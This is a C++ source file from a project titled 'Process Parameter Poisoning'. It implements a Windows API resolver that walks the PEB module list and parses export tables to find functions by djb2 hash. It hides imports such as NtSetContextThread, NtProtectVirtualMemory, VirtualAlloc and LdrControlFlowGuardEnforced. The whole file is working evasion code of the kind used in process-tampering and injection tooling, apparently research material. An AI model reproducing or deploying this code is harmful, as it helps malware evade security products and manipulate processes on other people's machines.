Files
2026-04-28 13:49:23 +02:00

150 lines
4.5 KiB
C++

/**
* Authors: Max Hirschberger & Ogulcan Ugur
* Project: Process Parameter Poisoning
* Notes: Built with ❤️ and undefined behavior.
*/
#ifdef _WIN64
#define PPEB_CURRENT ((PPEB)__readgsqword(0x60))
#else
#define PPEB_CURRENT ((PPEB)__readfsdword(0x30))
#endif
#define INITIAL_HASH 3731
#define INITIAL_SEED 5
#include "WinApiResolver.h"
#include <iostream>
WinApiResolver::WinApiResolver() {}
WinApiResolver* WinApiResolver::m_instance = nullptr;
WinApiResolver& WinApiResolver::GetInstance()
{
if (m_instance)
return *m_instance;
m_instance = new WinApiResolver();
m_instance->ResolveAPIs();
return *m_instance;
}
DWORD HashStringDjb2A(const char* String) {
ULONG Hash = INITIAL_HASH;
INT c;
while (c = tolower(*String++))
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
DWORD HashStringDjb2W(const wchar_t* String) {
ULONG Hash = INITIAL_HASH;
INT c;
while (c = towlower(*String++))
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
// Finds the base address of a module via the PEB list (Hashed version)
HMODULE FindModuleBaseH(DWORD moduleName)
{
PPEB peb = PPEB_CURRENT;
PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
PLIST_ENTRY curr = head->Flink;
while (curr != head)
{
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (HashStringDjb2W(entry->BaseDllName.Buffer) == moduleName)
{
return (HMODULE)entry->DllBase;
}
curr = curr->Flink;
}
return NULL;
}
// Own GetProcAddress with API-Hashing: Parsing the export table
FARPROC MyGetProcAddressH(HMODULE hModule, DWORD hashedApiName)
{
BYTE* base = (BYTE*)hModule;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_DATA_DIRECTORY exportDirData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDirData.VirtualAddress == 0)
return NULL;
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);
DWORD* nameTable = (DWORD*)(base + exportDir->AddressOfNames);
WORD* ordTable = (WORD*)(base + exportDir->AddressOfNameOrdinals);
DWORD* funcTable = (DWORD*)(base + exportDir->AddressOfFunctions);
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
{
const char* name = (const char*)(base + nameTable[i]);
if (HashStringDjb2A(name) == hashedApiName)
{
WORD ordinal = ordTable[i];
DWORD rva = funcTable[ordinal];
return (FARPROC)(base + rva);
}
}
return NULL;
}
#define HASH_NTDLL_DLL 0x16B84F3B
#define HASH_NTQUERYINFORMATIONPROCESS 0xee588630
#define HASH_NTREADVIRTUALMEMORYEX 0x67801fee
#define HASH_NTPROTECTVIRTUALMEMORY 0xaf858f56
#define HASH_NTSETCONTEXTTHREAD 0xd0d4165e
#define HASH_NTGETCONTEXTTHREAD 0x3e564fd2
#define HASH_NTTERMINATEPROCESS 0x200d349d
#define HASH_NTSUSPENDTHREAD 0x41e4958f
#define HASH_NTRESUMETHREAD 0x9b31cb9e
#define HASH_LDRCONTROLFLOWGUARDENFORCED 0xb6eef67
#define HASH_KERNEL32_DLL 0xddb5ad03
#define HASH_LOADLIBRARYA 0x73daf7e9
#define HASH_VIRTUALALLOC 0xc64f8a65
#define HASH_VIRTUALPROTECT 0x293d57db
#define HASH_USER32_DLL 0xcae39701
#define HASH_MESSAGEBOXA 0x63676de2
#define RESOLVE_API(X, MH, PH) do { X = (X ## _t)(MyGetProcAddressH(FindModuleBaseH(MH), PH)); if(!X) { printf("[-] Failed to resolve %x\n", PH); exit(-1); } } while(false)
void WinApiResolver::ResolveAPIs()
{
// NTDLL.DLL
RESOLVE_API(NtQueryInformationProcess, HASH_NTDLL_DLL, HASH_NTQUERYINFORMATIONPROCESS);
RESOLVE_API(NtProtectVirtualMemory, HASH_NTDLL_DLL, HASH_NTPROTECTVIRTUALMEMORY);
RESOLVE_API(NtReadVirtualMemoryEx, HASH_NTDLL_DLL, HASH_NTREADVIRTUALMEMORYEX);
RESOLVE_API(NtSetContextThread, HASH_NTDLL_DLL, HASH_NTSETCONTEXTTHREAD);
RESOLVE_API(NtGetContextThread, HASH_NTDLL_DLL, HASH_NTGETCONTEXTTHREAD);
RESOLVE_API(NtTerminateProcess, HASH_NTDLL_DLL, HASH_NTTERMINATEPROCESS);
RESOLVE_API(NtSuspendThread, HASH_NTDLL_DLL, HASH_NTSUSPENDTHREAD);
RESOLVE_API(LdrControlFlowGuardEnforced, HASH_NTDLL_DLL, HASH_LDRCONTROLFLOWGUARDENFORCED);
// KERNEL32.DLL
RESOLVE_API(LoadLibraryA, HASH_KERNEL32_DLL, HASH_LOADLIBRARYA);
RESOLVE_API(VirtualAlloc, HASH_KERNEL32_DLL, HASH_VIRTUALALLOC);
RESOLVE_API(VirtualProtect, HASH_KERNEL32_DLL, HASH_VIRTUALPROTECT);
LoadLibrary(L"user32.dll");
// USER32.DLL
RESOLVE_API(MessageBoxA, HASH_USER32_DLL, HASH_MESSAGEBOXA);
}